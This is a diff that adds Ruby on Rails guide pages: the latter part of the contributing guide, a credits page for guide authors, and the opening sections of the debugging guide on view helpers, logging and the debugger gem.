+If you are filing a bug report for Active Record, please use
+[this template for gems](https://github.com/rails/rails/blob/master/guides/bug_report_templates/active_record_gem.rb)
+if the bug is found in a published gem, and
+[this template for master](https://github.com/rails/rails/blob/master/guides/bug_report_templates/active_record_master.rb)
+if the bug happens in the master branch.
+
+### Special Treatment for Security Issues
+
+WARNING: Please do not report security vulnerabilities with public GitHub issue reports. The [Rails security policy page](http://rubyonrails.org/security) details the procedure to follow for security issues.
+
+### What about Feature Requests?
+
+Please don't put "feature request" items into GitHub Issues. If there's a new feature that you want to see added to Ruby on Rails, you'll need to write the code yourself - or convince someone else to partner with you to write the code. Later in this guide you'll find detailed instructions for proposing a patch to Ruby on Rails. If you enter a wishlist item in GitHub Issues with no code, you can expect it to be marked "invalid" as soon as it's reviewed.
+
+If you'd like feedback on an idea for a feature before doing the work for make a patch, please send an email to the [rails-core mailing list](https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-core). You might get no response, which means that everyone is indifferent. You might find someone who's also interested in building that feature. You might get a "This won't be accepted." But it's the proper place to discuss new ideas. GitHub Issues are not a particularly good venue fo [...]
+
+Setting Up a Development Environment
+------------------------------------
+
+To move on from submitting bugs to helping resolve existing issues or contributing your own code to Ruby on Rails, you _must_ be able to run its test suite. In this section of the guide you'll learn how to set up the tests on your own computer.
+
+### The Easy Way
+
+The easiest and recommended way to get a development environment ready to hack is to use the [Rails development box](https://github.com/rails/rails-dev-box).
+
+### The Hard Way
+
+In case you can't use the Rails development box, see section above, check [this other guide](development_dependencies_install.html).
+
+
+Running an Application Against Your Local Branch
+------------------------------------------------
+
+The `--dev` flag of `rails new` generates an application that uses your local
+branch:
+
+```bash
+$ cd rails
+$ bundle exec rails new ~/my-test-app --dev
+```
+
+The application generated in `~/my-test-app` runs against your local branch
+and in particular sees any modifications upon server reboot.
+
+
+Testing Active Record
+---------------------
+
+This is how you run the Active Record test suite only for SQLite3:
+
+```bash
+$ cd activerecord
+$ bundle exec rake test_sqlite3
+```
+
+You can now run the tests as you did for `sqlite3`. The tasks are respectively
+
+```bash
+test_mysql
+test_mysql2
+test_postgresql
+```
+
+Finally,
+
+```bash
+$ bundle exec rake test
+```
+
+will now run the four of them in turn.
+
+You can also run any single test separately:
+
+```bash
+$ ARCONN=sqlite3 ruby -Itest test/cases/associations/has_many_associations_test.rb
+```
+
+You can invoke `test_jdbcmysql`, `test_jdbcsqlite3` or `test_jdbcpostgresql` also. See the file `activerecord/RUNNING_UNIT_TESTS.rdoc` for information on running more targeted database tests, or the file `ci/travis.rb` for the test suite run by the continuous integration server.
+
+### Warnings
+
+The test suite runs with warnings enabled. Ideally, Ruby on Rails should issue no warnings, but there may be a few, as well as some from third-party libraries. Please ignore (or fix!) them, if any, and submit patches that do not issue new warnings.
+
+As of this writing (December, 2010) they are especially noisy with Ruby 1.9. If you are sure about what you are doing and would like to have a more clear output, there's a way to override the flag:
+
+```bash
+$ RUBYOPT=-W0 bundle exec rake test
+```
+
+### Older Versions of Ruby on Rails
+
+If you want to add a fix to older versions of Ruby on Rails, you'll need to set up and switch to your own local tracking branch. Here is an example to switch to the 3-0-stable branch:
+
+```bash
+$ git branch --track 3-0-stable origin/3-0-stable
+$ git checkout 3-0-stable
+```
+
+TIP: You may want to [put your Git branch name in your shell prompt](http://qugstart.com/blog/git-and-svn/add-colored-git-branch-name-to-your-shell-prompt/) to make it easier to remember which version of the code you're working with.
+
+Helping to Resolve Existing Issues
+----------------------------------
+
+As a next step beyond reporting issues, you can help the core team resolve existing issues. If you check the [Everyone's Issues](https://github.com/rails/rails/issues) list in GitHub Issues, you'll find lots of issues already requiring attention. What can you do for these? Quite a bit, actually:
+
+### Verifying Bug Reports
+
+For starters, it helps just to verify bug reports. Can you reproduce the reported issue on your own computer? If so, you can add a comment to the issue saying that you're seeing the same thing.
+
+If something is very vague, can you help squash it down into something specific? Maybe you can provide additional information to help reproduce a bug, or help by eliminating needless steps that aren't required to demonstrate the problem.
+
+If you find a bug report without a test, it's very useful to contribute a failing test. This is also a great way to get started exploring the source code: looking at the existing test files will teach you how to write more tests. New tests are best contributed in the form of a patch, as explained later on in the "Contributing to the Rails Code" section.
+
+Anything you can do to make bug reports more succinct or easier to reproduce is a help to folks trying to write code to fix those bugs - whether you end up writing the code yourself or not.
+
+### Testing Patches
+
+You can also help out by examining pull requests that have been submitted to Ruby on Rails via GitHub. To apply someone's changes you need first to create a dedicated branch:
+
+```bash
+$ git checkout -b testing_branch
+```
+
+Then you can use their remote branch to update your codebase. For example, let's say the GitHub user JohnSmith has forked and pushed to a topic branch "orange" located at https://github.com/JohnSmith/rails.
+
+```bash
+$ git remote add JohnSmith git://github.com/JohnSmith/rails.git
+$ git pull JohnSmith orange
+```
+
+After applying their branch, test it out! Here are some things to think about:
+
+* Does the change actually work?
+* Are you happy with the tests? Can you follow what they're testing? Are there any tests missing?
+* Does it have the proper documentation coverage? Should documentation elsewhere be updated?
+* Do you like the implementation? Can you think of a nicer or faster way to implement a part of their change?
+
+Once you're happy that the pull request contains a good change, comment on the GitHub issue indicating your approval. Your comment should indicate that you like the change and what you like about it. Something like:
+
+<blockquote>
+I like the way you've restructured that code in generate_finder_sql — much nicer. The tests look good too.
+</blockquote>
+
+If your comment simply says "+1", then odds are that other reviewers aren't going to take it too seriously. Show that you took the time to review the pull request.
+
+Contributing to the Rails Documentation
+---------------------------------------
+
+Ruby on Rails has two main sets of documentation: the guides help you in learning about Ruby on Rails, and the API is a reference.
+
+You can help improve the Rails guides by making them more coherent, consistent or readable, adding missing information, correcting factual errors, fixing typos, or bringing it up to date with the latest edge Rails. To get involved in the translation of Rails guides, please see [Translating Rails Guides](https://wiki.github.com/lifo/docrails/translating-rails-guides).
+
+If you're confident about your changes, you can push them directly yourself via [docrails](https://github.com/lifo/docrails). Docrails is a branch with an **open commit policy** and public write access. Commits to docrails are still reviewed, but this happens after they are pushed. Docrails is merged with master regularly, so you are effectively editing the Ruby on Rails documentation.
+
+If you are unsure of the documentation changes, you can create an issue in the [Rails](https://github.com/rails/rails/issues) issues tracker on GitHub.
+
+When working with documentation, please take into account the [API Documentation Guidelines](api_documentation_guidelines.html) and the [Ruby on Rails Guides Guidelines](ruby_on_rails_guides_guidelines.html).
+
+NOTE: As explained earlier, ordinary code patches should have proper documentation coverage. Docrails is only used for isolated documentation improvements.
+
+NOTE: To help our CI servers you can add [ci skip] to your documentation commit message to skip build on that commit. Please remember to use it for commits containing only documentation changes.
+
+WARNING: Docrails has a very strict policy: no code can be touched whatsoever, no matter how trivial or small the change. Only RDoc and guides can be edited via docrails. Also, CHANGELOGs should never be edited in docrails.
+
+Contributing to the Rails Code
+------------------------------
+
+### Clone the Rails Repository
+
+The first thing you need to do to be able to contribute code is to clone the repository:
+
+```bash
+$ git clone git://github.com/rails/rails.git
+```
+
+and create a dedicated branch:
+
+```bash
+$ cd rails
+$ git checkout -b my_new_branch
+```
+
+It doesn’t matter much what name you use, because this branch will only exist on your local computer and your personal repository on GitHub. It won't be part of the Rails Git repository.
+
+### Write Your Code
+
+Now get busy and add or edit code. You’re on your branch now, so you can write whatever you want (you can check to make sure you’re on the right branch with `git branch -a`). But if you’re planning to submit your change back for inclusion in Rails, keep a few things in mind:
+
+* Get the code right.
+* Use Rails idioms and helpers.
+* Include tests that fail without your code, and pass with it.
+* Update the (surrounding) documentation, examples elsewhere, and the guides: whatever is affected by your contribution.
+
+It is not customary in Rails to run the full test suite before pushing
+changes. The railties test suite in particular takes a long time, and even
+more if the source code is mounted in `/vagrant` as happens in the recommended
+workflow with the [rails-dev-box](https://github.com/rails/rails-dev-box).
+
+As a compromise, test what your code obviously affects, and if the change is
+not in railties run the whole test suite of the affected component. If all is
+green that's enough to propose your contribution. We have [Travis CI](https
+://travis-ci.org/) as a safety net for catching unexpected breakages
+elsewhere.
+
+TIP: Changes that are cosmetic in nature and do not add anything substantial to the stability, functionality, or testability of Rails will generally not be accepted.
+
+### Follow the Coding Conventions
+
+Rails follows a simple set of coding style conventions:
+
+* Two spaces, no tabs (for indentation).
+* No trailing whitespace. Blank lines should not have any spaces.
+* Indent after private/protected.
+* Use Ruby >= 1.9 syntax for hashes. Prefer `{ a: :b }` over `{ :a => :b }`.
+* Prefer `&&`/`||` over `and`/`or`.
+* Prefer class << self over self.method for class methods.
+* Use `MyClass.my_method(my_arg)` not `my_method( my_arg )` or `my_method my_arg`.
+* Use `a = b` and not `a=b`.
+* Use assert_not methods instead of refute.
+* Prefer `method { do_stuff }` instead of `method{do_stuff}` for single-line blocks.
+* Follow the conventions in the source you see used already.
+
+The above are guidelines — please use your best judgment in using them.
+
+### Updating the CHANGELOG
+
+The CHANGELOG is an important part of every release. It keeps the list of changes for every Rails version.
+
+You should add an entry to the CHANGELOG of the framework that you modified if you're adding or removing a feature, committing a bug fix or adding deprecation notices. Refactorings and documentation changes generally should not go to the CHANGELOG.
+
+A CHANGELOG entry should summarize what was changed and should end with author's name. You can use multiple lines if you need more space and you can attach code examples indented with 4 spaces. If a change is related to a specific issue, you should attach issue's number. Here is an example CHANGELOG entry:
+
+```
+* Summary of a change that briefly describes what was changed. You can use multiple
+ lines and wrap them at around 80 characters. Code examples are ok, too, if needed:
+
+ class Foo
+ def bar
+ puts 'baz'
+ end
+ end
+
+ You can continue after the code example and you can attach issue number. GH#1234
+
+ *Your Name*
+```
+
+Your name can be added directly after the last word if you don't provide any code examples or don't need multiple paragraphs. Otherwise, it's best to make as a new paragraph.
+
+### Sanity Check
+
+You should not be the only person who looks at the code before you submit it. You know at least one other Rails developer, right? Show them what you’re doing and ask for feedback. Doing this in private before you push a patch out publicly is the “smoke test” for a patch: if you can’t convince one other developer of the beauty of your code, you’re unlikely to convince the core team either.
+
+### Commit Your Changes
+
+When you're happy with the code on your computer, you need to commit the changes to Git:
+
+```bash
+$ git commit -a
+```
+
+At this point, your editor should be fired up and you can write a message for this commit. Well formatted and descriptive commit messages are extremely helpful for the others, especially when figuring out why given change was made, so please take the time to write it.
+
+Good commit message should be formatted according to the following example:
+
+```
+Short summary (ideally 50 characters or less)
+
+More detailed description, if necessary. It should be wrapped to 72
+characters. Try to be as descriptive as you can, even if you think that
+the commit content is obvious, it may not be obvious to others. You
+should add such description also if it's already present in bug tracker,
+it should not be necessary to visit a webpage to check the history.
+
+Description can have multiple paragraphs and you can use code examples
+inside, just indent it with 4 spaces:
+
+ class PostsController
+ def index
+ respond_with Post.limit(10)
+ end
+ end
+
+You can also add bullet points:
+
+- you can use dashes or asterisks
+
+- also, try to indent next line of a point for readability, if it's too
+ long to fit in 72 characters
+```
+
+TIP. Please squash your commits into a single commit when appropriate. This simplifies future cherry picks, and also keeps the git log clean.
+
+### Update Your Branch
+
+It’s pretty likely that other changes to master have happened while you were working. Go get them:
+
+```bash
+$ git checkout master
+$ git pull --rebase
+```
+
+Now reapply your patch on top of the latest changes:
+
+```bash
+$ git checkout my_new_branch
+$ git rebase master
+```
+
+No conflicts? Tests still pass? Change still seems reasonable to you? Then move on.
+
+### Fork
+
+Navigate to the Rails [GitHub repository](https://github.com/rails/rails) and press "Fork" in the upper right hand corner.
+
+Add the new remote to your local repository on your local machine:
+
+```bash
+$ git remote add mine git at github.com:<your user name>/rails.git
+```
+
+Push to your remote:
+
+```bash
+$ git push mine my_new_branch
+```
+
+You might have cloned your forked repository into your machine and might want to add the original Rails repository as a remote instead, if that's the case here's what you have to do.
+
+In the directory you cloned your fork:
+
+```bash
+$ git remote add rails git://github.com/rails/rails.git
+```
+
+Download new commits and branches from the official repository:
+
+```bash
+$ git fetch rails
+```
+
+Merge the new content:
+
+```bash
+$ git checkout master
+$ git rebase rails/master
+```
+
+Update your fork:
+
+```bash
+$ git push origin master
+```
+
+If you want to update another branch:
+
+```bash
+$ git checkout branch_name
+$ git rebase rails/branch_name
+$ git push origin branch_name
+```
+
+
+### Issue a Pull Request
+
+Navigate to the Rails repository you just pushed to (e.g. https://github.com/your-user-name/rails) and press "Pull Request" in the upper right hand corner.
+
+Write your branch name in the branch field (this is filled with "master" by default) and press "Update Commit Range".
+
+Ensure the changesets you introduced are included in the "Commits" tab. Ensure that the "Files Changed" incorporate all of your changes.
+
+Fill in some details about your potential patch including a meaningful title. When finished, press "Send pull request". The Rails core team will be notified about your submission.
+
+### Get some Feedback
+
+Now you need to get other people to look at your patch, just as you've looked at other people's patches. You can use the [rubyonrails-core mailing list](http://groups.google.com/group/rubyonrails-core/) or the #rails-contrib channel on IRC freenode for this. You might also try just talking to Rails developers that you know.
+
+### Iterate as Necessary
+
+It’s entirely possible that the feedback you get will suggest changes. Don’t get discouraged: the whole point of contributing to an active open source project is to tap into community knowledge. If people are encouraging you to tweak your code, then it’s worth making the tweaks and resubmitting. If the feedback is that your code doesn’t belong in the core, you might still think about releasing it as a gem.
+
+#### Squashing commits
+
+One of the things that we may ask you to do is "squash your commits," which
+will combine all of your commits into a single commit. We prefer pull requests
+that are a single commit. This makes it easier to backport changes to stable
+branches, squashing makes it easier to revert bad commits, and the git history
+can be a bit easier to follow. Rails is a large project, and a bunch of
+extraneous commits can add a lot of noise.
+
+In order to do this, you'll need to have a git remote that points at the main
+Rails repository. This is useful anyway, but just in case you don't have it set
+up, make sure that you do this first:
+
+```bash
+$ git remote add upstream https://github.com/rails/rails.git
+```
+
+You can call this remote whatever you'd like, but if you don't use `upstream`,
+then change the name to your own in the instructions below.
+
+Given that your remote branch is called `my_pull_request`, then you can do the
+following:
+
+```bash
+$ git fetch upstream
+$ git checkout my_pull_request
+$ git rebase upstream/master
+$ git rebase -i
+
+< Choose 'squash' for all of your commits except the first one. >
+< Edit the commit message to make sense, and describe all your changes. >
+
+$ git push origin my_pull_request -f
+```
+
+You should be able to refresh the pull request on GitHub and see that it has
+been updated.
+
+### Backporting
+
+Changes that are merged into master are intended for the next major release of Rails. Sometimes, it might be beneficial for your changes to propagate back to the maintenance releases for older stable branches. Generally, security fixes and bug fixes are good candidates for a backport, while new features and patches that introduce a change in behavior will not be accepted. When in doubt, it is best to consult a Rails team member before backporting your changes to avoid wasted effort.
+
+For simple fixes, the easiest way to backport your changes is to [extract a diff from your changes in master and apply them to the target branch](http://ariejan.net/2009/10/26/how-to-create-and-apply-a-patch-with-git).
+
+First make sure your changes are the only difference between your current branch and master:
+
+```bash
+$ git log master..HEAD
+```
+
+Then extract the diff:
+
+```bash
+$ git format-patch master --stdout > ~/my_changes.patch
+```
+
+Switch over to the target branch and apply your changes:
+
+```bash
+$ git checkout -b my_backport_branch 3-2-stable
+$ git apply ~/my_changes.patch
+```
+
+This works well for simple changes. However, if your changes are complicated or if the code in master has deviated significantly from your target branch, it might require more work on your part. The difficulty of a backport varies greatly from case to case, and sometimes it is simply not worth the effort.
+
+Once you have resolved all conflicts and made sure all the tests are passing, push your changes and open a separate pull request for your backport. It is also worth noting that older branches might have a different set of build targets than master. When possible, it is best to first test your backport locally against the Ruby versions listed in `.travis.yml` before submitting your pull request.
+
+And then... think about your next contribution!
+
+Rails Contributors
+------------------
+
+All contributions, either via master or docrails, get credit in [Rails Contributors](http://contributors.rubyonrails.org).
diff --git a/guides/source/credits.html.erb b/guides/source/credits.html.erb
new file mode 100644
index 0000000..34be07e
--- /dev/null
+++ b/guides/source/credits.html.erb
@@ -0,0 +1,76 @@
+<% content_for :page_title do %>
+Ruby on Rails Guides: Credits
+<% end %>
+
+<% content_for :header_section do %>
+<h2>Credits</h2>
+
+<p>We'd like to thank the following people for their tireless contributions to this project.</p>
+
+<% end %>
+
+<h3 class="section">Rails Guides Reviewers</h3>
+
+<%= author('Vijay Dev', 'vijaydev', 'vijaydev.jpg') do %>
+ Vijayakumar, found as Vijay Dev on the web, is a web applications developer and an open source enthusiast who lives in Chennai, India. He started using Rails in 2009 and began actively contributing to Rails documentation in late 2010. He <a href="https://twitter.com/vijay_dev">tweets</a> a lot and also <a href="http://vijaydev.wordpress.com">blogs</a>.
+<% end %>
+
+<%= author('Xavier Noria', 'fxn', 'fxn.png') do %>
+ Xavier Noria has been into Ruby on Rails since 2005. He is a Rails core team member and enjoys combining his passion for Rails and his past life as a proofreader of math textbooks. Xavier is currently an independent Ruby on Rails consultant. Oh, he also <a href="http://twitter.com/fxn">tweets</a> and can be found everywhere as "fxn".
+<% end %>
+
+<h3 class="section">Rails Guides Designers</h3>
+
+<%= author('Jason Zimdars', 'jz') do %>
+ Jason Zimdars is an experienced creative director and web designer who has lead UI and UX design for numerous websites and web applications. You can see more of his design and writing at <a href="http://www.thinkcage.com/">Thinkcage.com</a> or follow him on <a href="http://twitter.com/JZ">Twitter</a>.
+<% end %>
+
+<h3 class="section">Rails Guides Authors</h3>
+
+<%= author('Ryan Bigg', 'radar', 'radar.png') do %>
+ Ryan Bigg works as the Community Manager at <a href="http://spreecommerce.com">Spree Commerce</a> and has been working with Rails since 2006. He's the author of <a href="https://leanpub.com/multi-tenancy-rails">Multi Tenancy With Rails</a> and co-author of <a href="http://manning.com/bigg2">Rails 4 in Action</a>. He's written many gems which can be seen on <a href="https://github.com/radar">his GitHub page</a> and he also tweets prolifically as <a href="http://twitter.com/ryanbigg">@ry [...]
+<% end %>
+
+<%= author('Oscar Del Ben', 'oscardelben', 'oscardelben.jpg') do %>
+Oscar Del Ben is a software engineer at <a href="http://www.wildfireapp.com/">Wildfire</a>. He's a regular open source contributor (<a href="https://github.com/oscardelben">Github account</a>) and tweets regularly at <a href="https://twitter.com/oscardelben">@oscardelben</a>.
+ <% end %>
+
+<%= author('Frederick Cheung', 'fcheung') do %>
+ Frederick Cheung is Chief Wizard at Texperts where he has been using Rails since 2006. He is based in Cambridge (UK) and when not consuming fine ales he blogs at <a href="http://www.spacevatican.org">spacevatican.org</a>.
+<% end %>
+
+<%= author('Tore Darell', 'toretore') do %>
+ Tore Darell is an independent developer based in Menton, France who specialises in cruft-free web applications using Ruby, Rails and unobtrusive JavaScript. His home on the internet is his blog <a href="http://tore.darell.no">Sneaky Abstractions</a>.
+<% end %>
+
+<%= author('Jeff Dean', 'zilkey') do %>
+ Jeff Dean is a software engineer with <a href="http://pivotallabs.com">Pivotal Labs</a>.
+<% end %>
+
+<%= author('Mike Gunderloy', 'mgunderloy') do %>
+ Mike Gunderloy is a consultant with <a href="http://www.actionrails.com">ActionRails</a>. He brings 25 years of experience in a variety of languages to bear on his current work with Rails. His near-daily links and other blogging can be found at <a href="http://afreshcup.com">A Fresh Cup</a> and he <a href="http://twitter.com/MikeG1">twitters</a> too much.
+<% end %>
+
+<%= author('Mikel Lindsaar', 'raasdnil') do %>
+ Mikel Lindsaar has been working with Rails since 2006 and is the author of the Ruby <a href="https://github.com/mikel/mail">Mail gem</a> and core contributor (he helped re-write Action Mailer's API). Mikel is the founder of <a href="http://rubyx.com/">RubyX</a>, has a <a href="http://lindsaar.net/">blog</a> and <a href="http://twitter.com/raasdnil">tweets</a>.
+<% end %>
+
+<%= author('Cássio Marques', 'cmarques') do %>
+ Cássio Marques is a Brazilian software developer working with different programming languages such as Ruby, JavaScript, CPP and Java, as an independent consultant. He blogs at <a href="http://cassiomarques.wordpress.com">/* CODIFICANDO */</a>, which is mainly written in Portuguese, but will soon get a new section for posts with English translation.
+<% end %>
+
+<%= author('James Miller', 'bensie') do %>
+ James Miller is a software developer for <a href="http://www.jk-tech.com">JK Tech</a> in San Diego, CA. You can find James on GitHub, Gmail, Twitter, and Freenode as "bensie".
+<% end %>
+
+<%= author('Pratik Naik', 'lifo') do %>
+ Pratik Naik is a Ruby on Rails developer at <a href="http://www.37signals.com">37signals</a> and also a member of the <a href="http://rubyonrails.org/core">Rails core team</a>. He maintains a blog at <a href="http://m.onkey.org">has_many :bugs, :through => :rails</a> and has a semi-active <a href="http://twitter.com/lifo">twitter account</a>.
+<% end %>
+
+<%= author('Emilio Tagua', 'miloops') do %>
+ Emilio Tagua —a.k.a. miloops— is an Argentinian entrepreneur, developer, open source contributor and Rails evangelist. Cofounder of <a href="http://eventioz.com">Eventioz</a>. He has been using Rails since 2006 and contributing since early 2008. Can be found at gmail, twitter, freenode, everywhere as "miloops".
+<% end %>
+
+<%= author('Heiko Webers', 'hawe') do %>
+ Heiko Webers is the founder of <a href="http://www.bauland42.de">bauland42</a>, a German web application security consulting and development company focused on Ruby on Rails. He blogs at the <a href="http://www.rorsecurity.info">Ruby on Rails Security Project</a>. After 10 years of desktop application development, Heiko has rarely looked back.
+<% end %>
diff --git a/guides/source/debugging_rails_applications.md b/guides/source/debugging_rails_applications.md
new file mode 100644
index 0000000..8f1d292
--- /dev/null
+++ b/guides/source/debugging_rails_applications.md
@@ -0,0 +1,672 @@
+Debugging Rails Applications
+============================
+
+This guide introduces techniques for debugging Ruby on Rails applications.
+
+After reading this guide, you will know:
+
+* The purpose of debugging.
+* How to track down problems and issues in your application that your tests aren't identifying.
+* The different ways of debugging.
+* How to analyze the stack trace.
+
+--------------------------------------------------------------------------------
+
+View Helpers for Debugging
+--------------------------
+
+One common task is to inspect the contents of a variable. In Rails, you can do this with three methods:
+
+* `debug`
+* `to_yaml`
+* `inspect`
+
+### `debug`
+
+The `debug` helper will return a \<pre> tag that renders the object using the YAML format. This will generate human-readable data from any object. For example, if you have this code in a view:
+
+```html+erb
+<%= debug @post %>
+<p>
+ <b>Title:</b>
+ <%= @post.title %>
+</p>
+```
+
+You'll see something like this:
+
+```yaml
+--- !ruby/object:Post
+attributes:
+ updated_at: 2008-09-05 22:55:47
+ body: It's a very helpful guide for debugging your Rails app.
+ title: Rails debugging guide
+ published: t
+ id: "1"
+ created_at: 2008-09-05 22:55:47
+attributes_cache: {}
+
+
+Title: Rails debugging guide
+```
+
+### `to_yaml`
+
+Displaying an instance variable, or any other object or method, in YAML format can be achieved this way:
+
+```html+erb
+<%= simple_format @post.to_yaml %>
+<p>
+ <b>Title:</b>
+ <%= @post.title %>
+</p>
+```
+
+The `to_yaml` method converts the method to YAML format leaving it more readable, and then the `simple_format` helper is used to render each line as in the console. This is how `debug` method does its magic.
+
+As a result of this, you will have something like this in your view:
+
+```yaml
+--- !ruby/object:Post
+attributes:
+updated_at: 2008-09-05 22:55:47
+body: It's a very helpful guide for debugging your Rails app.
+title: Rails debugging guide
+published: t
+id: "1"
+created_at: 2008-09-05 22:55:47
+attributes_cache: {}
+
+Title: Rails debugging guide
+```
+
+### `inspect`
+
+Another useful method for displaying object values is `inspect`, especially when working with arrays or hashes. This will print the object value as a string. For example:
+
+```html+erb
+<%= [1, 2, 3, 4, 5].inspect %>
+<p>
+ <b>Title:</b>
+ <%= @post.title %>
+</p>
+```
+
+Will be rendered as follows:
+
+```
+[1, 2, 3, 4, 5]
+
+Title: Rails debugging guide
+```
+
+The Logger
+----------
+
+It can also be useful to save information to log files at runtime. Rails maintains a separate log file for each runtime environment.
+
+### What is the Logger?
+
+Rails makes use of the `ActiveSupport::Logger` class to write log information. You can also substitute another logger such as `Log4r` if you wish.
+
+You can specify an alternative logger in your `environment.rb` or any environment file:
+
+```ruby
+Rails.logger = Logger.new(STDOUT)
+Rails.logger = Log4r::Logger.new("Application Log")
+```
+
+Or in the `Initializer` section, add _any_ of the following
+
+```ruby
+config.logger = Logger.new(STDOUT)
+config.logger = Log4r::Logger.new("Application Log")
+```
+
+TIP: By default, each log is created under `Rails.root/log/` and the log file name is `environment_name.log`.
+
+### Log Levels
+
+When something is logged it's printed into the corresponding log if the log level of the message is equal or higher than the configured log level. If you want to know the current log level you can call the `Rails.logger.level` method.
+
+The available log levels are: `:debug`, `:info`, `:warn`, `:error`, `:fatal`, and `:unknown`, corresponding to the log level numbers from 0 up to 5 respectively. To change the default log level, use
+
+```ruby
+config.log_level = :warn # In any environment initializer, or
+Rails.logger.level = 0 # at any time
+```
+
+This is useful when you want to log under development or staging, but you don't want to flood your production log with unnecessary information.
+
+TIP: The default Rails log level is `info` in production mode and `debug` in development and test mode.
+
+### Sending Messages
+
+To write in the current log use the `logger.(debug|info|warn|error|fatal)` method from within a controller, model or mailer:
+
+```ruby
+logger.debug "Person attributes hash: #{@person.attributes.inspect}"
+logger.info "Processing the request..."
+logger.fatal "Terminating application, raised unrecoverable error!!!"
+```
+
+Here's an example of a method instrumented with extra logging:
+
+```ruby
+class PostsController < ApplicationController
+ # ...
+
+ def create
+ @post = Post.new(params[:post])
+ logger.debug "New post: #{@post.attributes.inspect}"
+ logger.debug "Post should be valid: #{@post.valid?}"
+
+ if @post.save
+ flash[:notice] = 'Post was successfully created.'
+ logger.debug "The post was saved and now the user is going to be redirected..."
+ redirect_to(@post)
+ else
+ render action: "new"
+ end
+ end
+
+ # ...
+end
+```
+
+Here's an example of the log generated when this controller action is executed:
+
+```
+Processing PostsController#create (for 127.0.0.1 at 2008-09-08 11:52:54) [POST]
+ Session ID: BAh7BzoMY3NyZl9pZCIlMDY5MWU1M2I1ZDRjODBlMzkyMWI1OTg2NWQyNzViZjYiCmZsYXNoSUM6J0FjdGl
+vbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7AAY6CkB1c2VkewA=--b18cd92fba90eacf8137e5f6b3b06c4d724596a4
+ Parameters: {"commit"=>"Create", "post"=>{"title"=>"Debugging Rails",
+ "body"=>"I'm learning how to print in logs!!!", "published"=>"0"},
+ "authenticity_token"=>"2059c1286e93402e389127b1153204e0d1e275dd", "action"=>"create", "controller"=>"posts"}
+New post: {"updated_at"=>nil, "title"=>"Debugging Rails", "body"=>"I'm learning how to print in logs!!!",
+ "published"=>false, "created_at"=>nil}
+Post should be valid: true
+ Post Create (0.000443) INSERT INTO "posts" ("updated_at", "title", "body", "published",
+ "created_at") VALUES('2008-09-08 14:52:54', 'Debugging Rails',
+ 'I''m learning how to print in logs!!!', 'f', '2008-09-08 14:52:54')
+The post was saved and now the user is going to be redirected...
+Redirected to #<Post:0x20af760>
+Completed in 0.01224 (81 reqs/sec) | DB: 0.00044 (3%) | 302 Found [http://localhost/posts]
+```
+
+Adding extra logging like this makes it easy to search for unexpected or unusual behavior in your logs. If you add extra logging, be sure to make sensible use of log levels to avoid filling your production logs with useless trivia.
+
+### Tagged Logging
+
+When running multi-user, multi-account applications, it’s often useful to be able to filter the logs using some custom rules. `TaggedLogging` in ActiveSupport helps in doing exactly that by stamping log lines with subdomains, request ids, and anything else to aid debugging such applications.
+
+```ruby
+logger = ActiveSupport::TaggedLogging.new(Logger.new(STDOUT))
+logger.tagged("BCX") { logger.info "Stuff" } # Logs "[BCX] Stuff"
+logger.tagged("BCX", "Jason") { logger.info "Stuff" } # Logs "[BCX] [Jason] Stuff"
+logger.tagged("BCX") { logger.tagged("Jason") { logger.info "Stuff" } } # Logs "[BCX] [Jason] Stuff"
+```
+
+Debugging with the `debugger` gem
+---------------------------------
+
+When your code is behaving in unexpected ways, you can try printing to logs or the console to diagnose the problem. Unfortunately, there are times when this sort of error tracking is not effective in finding the root cause of a problem. When you actually need to journey into your running source code, the debugger is your best companion.
+
+The debugger can also help you if you want to learn about the Rails source code but don't know where to start. Just debug any request to your application and use this guide to learn how to move from the code you have written deeper into Rails code.
+
+### Setup
+
+You can use the `debugger` gem to set breakpoints and step through live code in Rails. To install it, just run:
+
+```bash
+$ gem install debugger
+```
+
+Rails has had built-in support for debugging since Rails 2.0. Inside any Rails application you can invoke the debugger by calling the `debugger` method.
+
+Here's an example:
+
+```ruby
+class PeopleController < ApplicationController
+ def new
+ debugger
+ @person = Person.new
+ end
+end
+```
+
+If you see this message in the console or logs:
+
+```
+***** Debugger requested, but was not available: Start server with --debugger to enable *****
+```
+
+Make sure you have started your web server with the option `--debugger`:
+
+```bash
+$ rails server --debugger
+=> Booting WEBrick
+=> Rails 3.2.13 application starting on http://0.0.0.0:3000
+=> Debugger enabled
+...
+```
+
+TIP: In development mode, you can dynamically `require \'debugger\'` instead of restarting the server, even if it was started without `--debugger`.
+
+### The Shell
+
+As soon as your application calls the `debugger` method, the debugger will be started in a debugger shell inside the terminal window where you launched your application server, and you will be placed at the debugger's prompt `(rdb:n)`. The _n_ is the thread number. The prompt will also show you the next line of code that is waiting to run.
+
+If you got there by a browser request, the browser tab containing the request will be hung until the debugger has finished and the trace has finished processing the entire request.
+
+For example:
+
+```bash
+ at posts = Post.all
+(rdb:7)
+```
+
+Now it's time to explore and dig into your application. A good place to start is by asking the debugger for help. Type: `help`
+
+```
+(rdb:7) help
+ruby-debug help v0.10.2
+Type 'help <command-name>' for help on a specific command
+
+Available commands:
+backtrace delete enable help next quit show trace
+break disable eval info p reload source undisplay
+catch display exit irb pp restart step up
+condition down finish list ps save thread var
+continue edit frame method putl set tmate where
+```
+
+TIP: To view the help menu for any command use `help <command-name>` at the debugger prompt. For example: _`help var`_
+
+The next command to learn is one of the most useful: `list`. You can abbreviate any debugging command by supplying just enough letters to distinguish them from other commands, so you can also use `l` for the `list` command.
+
+This command shows you where you are in the code by printing 10 lines centered around the current line; the current line in this particular case is line 6 and is marked by `=>`.
+
+```
+(rdb:7) list
+[1, 10] in /PathTo/project/app/controllers/posts_controller.rb
+ 1 class PostsController < ApplicationController
+ 2 # GET /posts
+ 3 # GET /posts.json
+ 4 def index
+ 5 debugger
+=> 6 @posts = Post.all
+ 7
+ 8 respond_to do |format|
+ 9 format.html # index.html.erb
+ 10 format.json { render :json => @posts }
+```
+
+If you repeat the `list` command, this time using just `l`, the next ten lines of the file will be printed out.
+
+```
+(rdb:7) l
+[11, 20] in /PathTo/project/app/controllers/posts_controller.rb
+ 11 end
+ 12 end
+ 13
+ 14 # GET /posts/1
+ 15 # GET /posts/1.json
+ 16 def show
+ 17 @post = Post.find(params[:id])
+ 18
+ 19 respond_to do |format|
+ 20 format.html # show.html.erb
+```
+
+And so on until the end of the current file. When the end of file is reached, the `list` command will start again from the beginning of the file and continue again up to the end, treating the file as a circular buffer.
+
